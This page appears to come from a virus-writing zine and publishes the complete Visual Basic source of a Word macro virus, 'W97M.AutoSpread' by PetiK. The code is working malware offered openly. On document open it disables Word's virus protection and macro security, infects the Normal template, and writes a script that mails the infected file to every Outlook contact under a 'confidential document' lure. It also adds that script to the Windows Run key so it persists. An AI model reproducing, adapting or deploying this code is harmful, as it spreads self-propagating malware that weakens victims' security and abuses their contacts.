Infiltration of a Nation
last article table of contents next article

W97M.AutoSpread by PetiK

Attribute VB_Name = "AutoSpread"

Private Declare Function Sleep& Lib "kernel32" (ByVal dwReserved As Long)

Sub AutoOpen()
nam = ActiveDocument.Name
vnam = Left(nam, Len(nam) - 4)

Call FuckProtection
Call InfectWord
Call Spread

If Day(Now) = 8 Then
MsgBox "This Document is infected by W97M." + vnam, vbCritical, "W97M." + vnam + ".A"
End If

End Sub

Sub InfectWord()
On Error Resume Next
Set nor = NormalTemplate.VBProject.VBComponents
Set doc = ActiveDocument.VBProject.VBComponents
srcmod = "C:\kitep.drv"
If nor.Item("AutoSpread").Name <> "AutoSpread" Then
    doc("AutoSpread").Export srcmod
    nor.Import srcmod
    End If
If doc.Item("AutoSpread").Name <> "AutoSpread" Then
    nor("AutoSpread").Export srcmod
    doc.Import srcmod
    ActiveDocument.Save
    End If
Kill (srcmod)
End Sub

Sub FuckProtection()
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
Select Case Application.Version
Case "10.0"
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") = 1&
Case "9.0"
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End Select
WordBasic.DisableAutoMacros 0
End Sub

Sub Spread()
On Error Resume Next
subj = Left(ActiveDocument.Name, Len(ActiveDocument.Name) - 4)
att = ActiveDocument.FullName
win = Environ("windir")
FileSystem.MkDir win + "\AutoSpread"
x = 0
nfile = ""
Do While x < 8
Randomize (Timer)
nfile = nfile + Chr(Int(Rnd(1) * 8) + 48)
x = x + 1
Loop
reg = nfile
nfile = nfile + ".vbs"
nfile = win + "\AutoSpread\" + nfile
Open nfile For Output As #1
Print #1, "'From W97M.AutoSpread"
Print #1, "On Error Resume Next"
Print #1, "Set out=CreateObject(""Outlook.Application"")"
Print #1, "Set map=out.GetNameSpace(""MAPI"")"
Print #1, "For Each C in map.AddressLists"
Print #1, "If C.AddressEntries.Count <> 0 Then"
Print #1, "For D=1 To C.AddressEntries.Count"
Print #1, "Set E=C.AddressEntries(D)"
Print #1, "Set env=out.CreateItem(0)"
Print #1, "env.To=E.Address"
Print #1, "env.Subject=""" + subj + """"
Print #1, "env.Body=""This confidential document is for you."""
Print #1, "env.Attachments.Add(""" + att + """)"
Print #1, "env.DeleteAfterSubmit=True"
Print #1, "If env.To <> """" Then"
Print #1, "env.Send"
Print #1, "End If"
Print #1, "Next"
Print #1, "End If"
Print #1, "Next"
Print #1, "WScript.Quit"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", reg) = nfile
End Sub

Sub HelpAbout()

With Application.Assistant
    .Visible = True
End With
With Assistant.NewBalloon
    .Text = "W97M.AutoSpread.A coded by PetiK (c)2002"
    .Heading = "W97M.AutoSpread"
    .Animation = msoAnimationGetAttentionMajor
    .Button = msoButtonSetOK
    .Show
End With

slp = Sleep(5000)

For nb = 1 To Int(Rnd(1) * 10) + 1
Selection.TypeText "Hi guy, You're infected by my virus. It's not dangerous. "
Selection.TypeText "Refer to AntiVirus site to disinfect your computer. "
Selection.TypeText "No dangerous payload, large spread, it's coded by PetiK. "
Next nb

End Sub

living virus